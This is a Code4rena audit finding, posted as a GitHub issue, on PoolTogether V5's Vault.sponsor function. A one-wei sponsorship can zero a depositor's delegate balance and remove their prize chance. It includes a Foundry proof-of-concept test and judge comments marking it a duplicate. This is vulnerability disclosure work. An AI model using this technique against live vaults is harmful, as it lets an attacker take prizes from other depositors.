code-423n4 / 2023-07-pooltogether-findings

12 stars 7 forks source link

`Vault.sponsor` may take away the prize chance from the receiver. #408

Closed code423n4 closed 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/GenerationSoftware/pt-v5-vault/blob/55dcd65de4436d50967819c2ac313c3910b6f5f3/src/Vault.sol#L480-L482 https://github.com/generationsoftware/pt-v5-twab-controller/blob/1cdf78e87a3d9127f85a3755024f143664643c5e/src/TwabController.sol#L500-L502 https://github.com/generationsoftware/pt-v5-twab-controller/blob/1cdf78e87a3d9127f85a3755024f143664643c5e/src/TwabController.sol#L656-L661 https://github.com/generationsoftware/pt-v5-twab-controller/blob/1cdf78e87a3d9127f85a3755024f143664643c5e/src/TwabController.sol#L24

Vulnerability details

Impact

TwabController.delegateBalance is related to the probability to get the prize, and Vault.sponsor can make the others' delegateBalance to 0. A malicious user can send a small amount of assets to every depositor and be the only prize taker.

Proof of Concept

Paste this test in VaultDepositTest below this line. https://github.com/GenerationSoftware/pt-v5-vault/blob/55dcd65de4436d50967819c2ac313c3910b6f5f3/test/unit/Vault/Deposit.t.sol#L401 I commented the purpose of the code.

function testSponsor_AliceTakesAwayPrizeChanceFromBob() external {
    // @audit bob deposits $5000
    vm.startPrank(bob);

    uint256 _amount1 = 5000e18;
    underlyingAsset.mint(bob, _amount1);
    underlyingAsset.approve(address(vault), type(uint256).max);
    vault.deposit(_amount1, bob);

    assertEq(vault.balanceOf(bob), _amount1);
    assertEq(twabController.delegateBalanceOf(address(vault), bob), _amount1);

    vm.stopPrank();

    // @audit alice sponsors bob with little assets
    vm.startPrank(alice);
    uint256 _amount2 = 1;
    underlyingAsset.mint(alice, _amount2);
    underlyingAsset.approve(address(vault), type(uint256).max);

    vault.sponsor(_amount2, bob);
    vm.stopPrank();

    // @audit bob has no chance to get the prize. This should not pass.
    assertEq(twabController.delegateBalanceOf(address(vault), bob), 0);
}

Then run these commands.

cd vault
forge test --match-test testSponsor_AliceTakesAwayPrizeChanceFromBob

This changes the probability of getting the prize, because TwabLib.AccountDetails.delegateBalance is the actual balance recorded in the TwabLib.Account.observations mapping. https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/1cdf78e87a3d9127f85a3755024f143664643c5e/src/libraries/TwabLib.sol#L203 https://github.com/GenerationSoftware/pt-v5-twab-controller/blob/1cdf78e87a3d9127f85a3755024f143664643c5e/src/libraries/TwabLib.sol#L119

The observations mapping is used in PrizePool._isWinner to calculate the winning zone based on _userTwab. https://github.com/GenerationSoftware/pt-v5-prize-pool/blob/4bc8a12b857856828c018510b5500d722b79ca3a/src/PrizePool.sol#L864 https://github.com/GenerationSoftware/pt-v5-prize-pool/blob/4bc8a12b857856828c018510b5500d722b79ca3a/src/PrizePool.sol#L928 https://github.com/GenerationSoftware/pt-v5-prize-pool/blob/4bc8a12b857856828c018510b5500d722b79ca3a/src/libraries/TierCalculationLib.sol#L93

Tools Used

Manual review

Recommended Mitigation Steps

TwabController.sponsor had better take an additional input argument uint256 amount to indicate the amount to sponsor.

Assessed type

Other

c4-judge commented 1 year ago

Picodes marked the issue as duplicate of #393

c4-judge commented 1 year ago

Picodes marked the issue as satisfactory

c4-judge commented 1 year ago

Picodes marked the issue as selected for report

c4-judge commented 1 year ago

Picodes marked issue #351 as primary and marked this issue as a duplicate of 351